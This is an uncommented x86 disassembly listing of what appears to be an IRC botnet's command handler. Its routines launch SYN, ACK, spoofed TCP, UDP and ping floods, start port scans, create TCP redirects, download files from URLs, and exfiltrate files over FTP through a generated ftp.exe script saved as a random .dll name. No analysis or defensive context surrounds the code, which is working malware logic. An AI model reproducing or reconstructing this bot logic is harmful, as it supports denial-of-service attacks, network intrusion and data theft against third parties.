push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
jmp loc_40E43D
; ---------------------------------------------------------------------------
loc_40B7C3: ; CODE XREF: sub_409557+20DDj
push [ebp+Dest] ; Str2
push offset aHttpcon ; "httpcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40B994
push [ebp+Dest] ; Str2
push offset aHcon ; "hcon"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40B994
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz loc_4099D2
push [ebp+Dest] ; Str2
push offset aUpload ; "upload"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40E7D9
push 4
push esi
call sub_403A2F
pop ecx
test eax, eax
pop ecx
jnz short loc_40B869
push esi
push offset aFtpFileNotFoun ; "[FTP]: File not found: %s."
loc_40B828: ; CODE XREF: sub_409557+25EFj
; sub_409557+2BA5j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40B837: ; CODE XREF: sub_409557+25D3j
; sub_409557+2B89j ...
cmp [ebp+var_8], ebx
jnz short loc_40B858
push ebx ; int
push [ebp+var_4] ; int
loc_40B840: ; CODE XREF: sub_409557+31B8j
lea eax, [ebp+Dst]
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
loc_40B850: ; CODE XREF: sub_409557+4943j
call sub_405E64
add esp, 14h
loc_40B858: ; CODE XREF: sub_409557+22E3j
; sub_409557+2722j ...
lea eax, [ebp+Dst]
push eax
call sub_402D63
jmp loc_40E966
; ---------------------------------------------------------------------------
loc_40B869: ; CODE XREF: sub_409557+22C9j
call ds:dword_41B078 ; GetTickCount
push eax
call sub_41274C
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_C9C]
push edx
push eax
lea eax, [ebp+Filename]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+Filename]
push offset aAb ; "ab"
push eax ; Filename
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+File], eax
jz loc_4099D2
push esi
push [ebp+arg_8]
push [ebp+Src]
push [ebp+Str1]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; File
call _fprintf
push [ebp+File] ; File
call _fclose
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_3E4]
push offset aSS_4 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+var_3E4]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_42EB34
test eax, eax
push edi
push esi ; Format
jz short loc_40B933
push offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to: %s"
jmp short loc_40B938
; ---------------------------------------------------------------------------
loc_40B933: ; CODE XREF: sub_409557+23D3j
push offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to: %s failed"...
loc_40B938: ; CODE XREF: sub_409557+23DAj
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40B961
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40B961: ; CODE XREF: sub_409557+23ECj
lea eax, [ebp+Dst]
push eax
call sub_402D63
loc_40B96D: ; CODE XREF: sub_409557+243Bj
lea eax, [ebp+Filename]
push 4
push eax
call sub_403A2F
add esp, 0Ch
test eax, eax
jz loc_4099D2
lea eax, [ebp+Filename]
push eax
call sub_413BB6
jmp short loc_40B96D
; ---------------------------------------------------------------------------
loc_40B994: ; CODE XREF: sub_409557+227Dj
; sub_409557+2294j
push [ebp+esi+Format]
push [ebp+arg_8]
push [ebp+Src]
push [ebp+Str1] ; Str
call _atoi
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40576B
jmp loc_40E7D6
; ---------------------------------------------------------------------------
loc_40B9C2: ; CODE XREF: sub_409557+20AFj
; sub_409557+20C6j
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_680]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_680]
push eax ; Str2
push offset aSyn_0 ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_40BA25
lea eax, [ebp+var_680]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40BA25
lea eax, [ebp+var_680]
push eax ; Str2
push offset aRandom ; "random"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40BA25
push offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40BA25: ; CODE XREF: sub_409557+2494j
; sub_409557+24ABj ...
push [ebp+arg_8] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_40BB4B
push edi ; Format
lea eax, [ebp+var_680]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Str1] ; Format
lea eax, [ebp+var_700]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+Src] ; Str
call _atoi
mov [ebp+var_57C], eax
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C] ; Format
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_574], ebx
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40BABC
mov eax, offset aNormal ; "Normal"
loc_40BABC: ; CODE XREF: sub_409557+255Ej
push [ebp+arg_8]
push [ebp+Src]
push [ebp+Str1]
push edi
push eax
push offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s s"...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Ch ; int
push eax ; Source
call sub_411C3A
add esp, 2Ch
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_4111FF
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40BB3A
loc_40BB24: ; CODE XREF: sub_409557+25E1j
cmp [ebp+var_568], ebx
jnz loc_40B837
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40BB24
; ---------------------------------------------------------------------------
loc_40BB3A: ; CODE XREF: sub_409557+25CBj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aTcpFailedToSta ; "[TCP]: Failed to start flood thread, er"...
jmp loc_40B828
; ---------------------------------------------------------------------------
loc_40BB4B: ; CODE XREF: sub_409557+24DFj
push offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40BB55: ; CODE XREF: sub_409557+206Aj
; sub_409557+2081j ...
cmp dword_42ECA0, ebx
mov esi, [ebp+arg_4]
jnz loc_40BC5D
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_304], eax
call _atoi
push [ebp+arg_8] ; Str
mov [ebp+var_300], eax
call _atoi
push 7Fh ; Count
mov [ebp+var_2FC], eax
push [ebp+var_8C] ; Source
lea eax, [ebp+var_404]
push eax ; Dest
call _strncpy
push [ebp+var_2FC]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+Dst]
push [ebp+var_304]
push offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Eh ; int
push eax ; Source
call sub_411C3A
add esp, 48h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_4084A7
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40BC4C
loc_40BC3A: ; CODE XREF: sub_409557+26F3j
cmp [ebp+var_2E8], ebx
jnz short loc_40BC76
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40BC3A
; ---------------------------------------------------------------------------
loc_40BC4C: ; CODE XREF: sub_409557+26E1j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aPingFailedToSt ; "[PING]: Failed to start flood thread, e"...
jmp loc_40C808
; ---------------------------------------------------------------------------
loc_40BC5D: ; CODE XREF: sub_409557+2607j
push 1FFh ; Count
lea eax, [ebp+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
loc_40BC73: ; CODE XREF: sub_409557+32BDj
add esp, 0Ch
loc_40BC76: ; CODE XREF: sub_409557+26E9j
; sub_409557+2830j ...
cmp [ebp+var_8], ebx
jnz loc_40B858
push ebx
push [ebp+var_4]
jmp loc_40DE8C
; ---------------------------------------------------------------------------
loc_40BC88: ; CODE XREF: sub_409557+2025j
; sub_409557+203Cj ...
mov eax, [ebp+var_8]
push 7Fh ; Count
mov [ebp+var_2EC], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_384]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_304], eax
call _atoi
push [ebp+arg_8] ; Str
mov [ebp+var_300], eax
call _atoi
mov esi, [ebp+esi+Format]
add esp, 18h
cmp esi, ebx
mov [ebp+var_2FC], eax
jz short loc_40BCED
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_2F8], eax
jmp short loc_40BCF3
; ---------------------------------------------------------------------------
loc_40BCED: ; CODE XREF: sub_409557+2785j
mov [ebp+var_2F8], ebx
loc_40BCF3: ; CODE XREF: sub_409557+2794j
push 7Fh ; Count
lea eax, [ebp+var_404]
push [ebp+var_8C] ; Source
push eax ; Dest
call _strncpy
push [ebp+var_2FC]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_384]
mov [ebp+var_408], esi
push [ebp+var_300]
push eax
lea eax, [ebp+Dst]
push [ebp+var_304]
push offset aUdpSendingDPac ; "[UDP]: Sending %d packets to: %s. Packe"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Fh ; int
push eax ; Source
call sub_411C3A
add esp, 30h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_408633
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40BD97
loc_40BD81: ; CODE XREF: sub_409557+283Ej
cmp [ebp+var_2E8], ebx
jnz loc_40BC76
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40BD81
; ---------------------------------------------------------------------------
loc_40BD97: ; CODE XREF: sub_409557+2828j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aUdpFailedToSta ; "[UDP]: Failed to start flood thread, er"...
jmp loc_40C808
; ---------------------------------------------------------------------------
loc_40BDA8: ; CODE XREF: sub_409557+1FF7j
; sub_409557+200Ej
push 8
call sub_411E82
push [ebp+Str1] ; Str
mov [ebp+Dest], eax
call _atoi
add eax, [ebp+Dest]
pop ecx
pop ecx
cmp eax, 258h
jle short loc_40BDFB
push [ebp+Dest]
lea eax, [ebp+Dst]
push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
loc_40BDF3: ; CODE XREF: sub_409557+3C1Dj
add esp, 20h
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40BDFB: ; CODE XREF: sub_409557+286Dj
push edi ; Str
call _atoi
push [ebp+Str1] ; Str
mov [ebp+var_31C], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_304], eax
call _atoi
add esp, 0Ch
cmp eax, 5
mov [ebp+var_318], eax
jnb short loc_40BE34
push 5
pop eax
mov [ebp+var_318], eax
loc_40BE34: ; CODE XREF: sub_409557+28D2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40BE41
mov [ebp+var_318], ecx
loc_40BE41: ; CODE XREF: sub_409557+28E2j
push [ebp+arg_8] ; Str
call _atoi
mov [ebp+var_314], eax
mov eax, 320h
cmp [ebp+var_314], eax
pop ecx
jbe short loc_40BE63
mov [ebp+var_314], eax
loc_40BE63: ; CODE XREF: sub_409557+2904j
or [ebp+var_300], 0FFFFFFFFh
cmp dword_41F090, ebx
mov [ebp+arg_8], ebx
jz short loc_40BEB9
mov [ebp+File], offset dword_41F090
loc_40BE7C: ; CODE XREF: sub_409557+2944j
mov eax, [ebp+File]
push edi ; Str2
add eax, 0FFFFFFD8h
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40BE9F
add [ebp+File], 3Ch
inc [ebp+arg_8]
mov eax, [ebp+File]
cmp [eax], ebx
jnz short loc_40BE7C
jmp short loc_40BEB9
; ---------------------------------------------------------------------------
loc_40BE9F: ; CODE XREF: sub_409557+2936j
mov eax, [ebp+arg_8]
mov ecx, eax
mov [ebp+var_300], eax
imul ecx, 3Ch
mov ecx, dword_41F090[ecx]
mov [ebp+var_31C], ecx
loc_40BEB9: ; CODE XREF: sub_409557+291Cj
; sub_409557+2946j
cmp [ebp+var_31C], ebx
jz loc_40DA85
mov edi, [ebp+esi+Format]
cmp edi, ebx
mov [ebp+Str1], edi
jz short loc_40BF00
cmp byte ptr [edi], 23h
jz short loc_40BF00
push edi ; Format
lea eax, [ebp+var_430]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_2F0], eax
jmp loc_40BFD4
; ---------------------------------------------------------------------------
loc_40BF00: ; CODE XREF: sub_409557+2977j
; sub_409557+297Cj
cmp [ebp+var_9B3], bl
jnz short loc_40BF22
cmp [ebp+var_9B2], bl
jnz short loc_40BF22
cmp [ebp+var_9A2], bl
jnz short loc_40BF22
push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan, no IP spe"...
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40BF22: ; CODE XREF: sub_409557+29AFj
; sub_409557+29B7j ...
push 10h
lea eax, [ebp+Src]
pop edi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+Src], edi
push [ebp+arg_4]
call dword_42EB5C ; getsockname
mov al, [ebp+var_9B3]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Drive], eax
push [ebp+Drive] ; Count
call dword_42EC3C ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_430]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_9A2], bl
jz short loc_40BFCE
xor eax, eax
cmp [ebp+var_9B3], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_430]
push eax ; Str
call _strrchr
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+File+3], bl
jle short loc_40BFC2
loc_40BFA0: ; CODE XREF: sub_409557+2A69j
cmp eax, ebx
jz short loc_40BFC2
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_40BFA0
loc_40BFC2: ; CODE XREF: sub_409557+2A47j
; sub_409557+2A4Bj
mov [ebp+var_2F0], 1
jmp short loc_40BFD4
; ---------------------------------------------------------------------------
loc_40BFCE: ; CODE XREF: sub_409557+2A21j
mov [ebp+var_2F0], ebx
loc_40BFD4: ; CODE XREF: sub_409557+29A4j
; sub_409557+2A75j
mov eax, [ebp+arg_4]
push [ebp+var_8C] ; Format
mov [ebp+var_320], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov edi, 80h
lea eax, [ebp+var_420]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40C025
loc_40C012: ; CODE XREF: sub_409557+2AF1j
push esi ; Format
loc_40C013: ; CODE XREF: sub_409557+2ADBj
lea eax, [ebp+var_3A0]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40C050
; ---------------------------------------------------------------------------
loc_40C025: ; CODE XREF: sub_409557+2AB9j
mov eax, [ebp+Str1]
cmp eax, ebx
jz short loc_40C034
cmp byte ptr [eax], 23h
jnz short loc_40C034
push eax
jmp short loc_40C013
; ---------------------------------------------------------------------------
loc_40C034: ; CODE XREF: sub_409557+2AD3j
; sub_409557+2AD8j
mov esi, offset aFf_0 ; "#ff-"
push offset byte_428D64 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40C012
mov [ebp+var_3A0], bl
loc_40C050: ; CODE XREF: sub_409557+2ACCj
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40C062
mov eax, offset aSequential ; "Sequential"
loc_40C062: ; CODE XREF: sub_409557+2B04j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+Dst]
push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_411C3A
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_402A0C
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C0F0
loc_40C0DA: ; CODE XREF: sub_409557+2B97j
cmp [ebp+var_2EC], ebx
jnz loc_40B837
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C0DA
; ---------------------------------------------------------------------------
loc_40C0F0: ; CODE XREF: sub_409557+2B81j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_40B828
; ---------------------------------------------------------------------------
loc_40C101: ; CODE XREF: sub_409557+1FB7j
; sub_409557+1FCEj
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_430558[eax], bl
jz loc_40E7D9
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; Str
call _strlen
push [ebp+Dest] ; Str
mov esi, eax
call _strlen
push [ebp+Str1] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
lea eax, [ebp+Dst]
push esi
push offset dword_42653C ; Format
push eax ; Dest
call _sprintf
add esp, 20h
cmp esi, ebx
jz loc_40E7D9
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push [ebp+Str1] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E64
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_430340[eax], 73h
jnz loc_40E7D9
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_430558
push eax
push [ebp+Str1]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40C1E9: ; CODE XREF: sub_409557+2D8Fj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
loc_40C20E: ; CODE XREF: sub_409557+4B11j
add esp, 28h
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40C216: ; CODE XREF: sub_409557+1F89j
; sub_409557+1FA0j
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_430558[eax], bl
jz loc_40E7D9
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; Str
call _strlen
push [ebp+Dest] ; Str
mov esi, eax
call _strlen
push [ebp+Str1] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40E7D9
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
push ebx ; int
push ebx ; int
push esi ; int
push [ebp+Str1] ; Str
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E64
push edi ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_430340[eax], 73h
jnz loc_40E7D9
push esi
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_430558
push eax
push [ebp+Str1]
push offset aSSS_2 ; "[%s] <%s> %s"
jmp loc_40C1E9
; ---------------------------------------------------------------------------
loc_40C2EB: ; CODE XREF: sub_409557+1F5Bj
; sub_409557+1F72j
push edi
call dword_42EBF0 ; inet_addr
push [ebp+Str1] ; Str
mov [ebp+var_460], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_46C], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+var_8C] ; Source
mov [ebp+var_468], eax
lea eax, [ebp+var_4EC]
mov [ebp+var_4F0], esi
push eax ; Dest
call _strncpy
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_458], edi
push [ebp+var_468]
mov [ebp+var_454], eax
push [ebp+var_46C]
push [ebp+var_460]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov [ebp+var_464], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F0]
push ebx
push eax
push offset sub_40FB6E
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_464]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C3CD
loc_40C3B7: ; CODE XREF: sub_409557+2E74j
cmp [ebp+var_450], ebx
jnz loc_40DE81
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C3B7
; ---------------------------------------------------------------------------
loc_40C3CD: ; CODE XREF: sub_409557+2E5Ej
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_40DE72
; ---------------------------------------------------------------------------
loc_40C3DE: ; CODE XREF: sub_409557+1F2Dj
; sub_409557+1F44j
push edi ; Str
call _atoi
push 7Fh ; Count
mov [ebp+var_300], eax
push [ebp+Str1] ; Source
lea eax, [ebp+var_404]
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
call _atoi
push [ebp+var_8C] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_384]
push 80h ; Count
push eax ; Dest
mov [ebp+var_40C], esi
call __snprintf
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+var_304]
lea eax, [ebp+var_404]
mov [ebp+var_2F4], edi
push eax
push [ebp+var_300]
push esi
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dst]
push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 10h ; int
push eax ; Source
call sub_411C3A
add esp, 24h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_40E9B2
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C4C7
loc_40C4B1: ; CODE XREF: sub_409557+2F6Ej
cmp [ebp+var_2EC], ebx
jnz loc_40DE81
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C4B1
; ---------------------------------------------------------------------------
loc_40C4C7: ; CODE XREF: sub_409557+2F58j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"...
jmp loc_40DE72
; ---------------------------------------------------------------------------
loc_40C4D8: ; CODE XREF: sub_409557+1EFFj
; sub_409557+1F16j
push 0FFh ; Count
lea eax, [ebp+var_788]
push edi ; Source
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+var_688]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
mov [ebp+var_584], ebx
call _atoi
mov [ebp+var_580], eax
mov eax, [ebp+esi+Str]
add esp, 1Ch
cmp eax, ebx
jz short loc_40C534
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_40C53A
; ---------------------------------------------------------------------------
loc_40C534: ; CODE XREF: sub_409557+2FC7j
mov [ebp+var_578], ebx
loc_40C53A: ; CODE XREF: sub_409557+2FDBj
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz short loc_40C551
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_57C], eax
jmp short loc_40C557
; ---------------------------------------------------------------------------
loc_40C551: ; CODE XREF: sub_409557+2FE9j
mov [ebp+var_57C], ebx
loc_40C557: ; CODE XREF: sub_409557+2FF8j
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+var_8C] ; Source
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push [ebp+Str1]
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
push edi
lea eax, [ebp+Dst]
push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 15h ; int
push eax ; Source
call sub_411C3A
add esp, 28h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_403520
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C605
loc_40C5EF: ; CODE XREF: sub_409557+30ACj
cmp [ebp+var_568], ebx
jnz loc_40BC76
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C5EF
; ---------------------------------------------------------------------------
loc_40C605: ; CODE XREF: sub_409557+3096j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"...
jmp loc_40C808
; ---------------------------------------------------------------------------
loc_40C616: ; CODE XREF: sub_409557+1ED1j
; sub_409557+1EE8j
push 7Fh
lea eax, [ebp+var_774]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_6F4]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_674]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_5F4]
push [ebp+var_8C] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_8]
push [ebp+Src]
mov esi, [ebp+var_4]
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
push [ebp+Str1]
mov [ebp+var_778], eax
lea eax, [ebp+Dst]
push edi
push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
push eax ; Dest
mov [ebp+var_570], esi
call _sprintf
add esp, 44h
lea eax, [ebp+Dst]
push ebx ; int
push 0Bh ; int
push eax ; Source
call sub_411C3A
add esp, 0Ch
mov [ebp+var_574], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_778]
push ebx
push eax
push offset sub_4109BE
push ebx
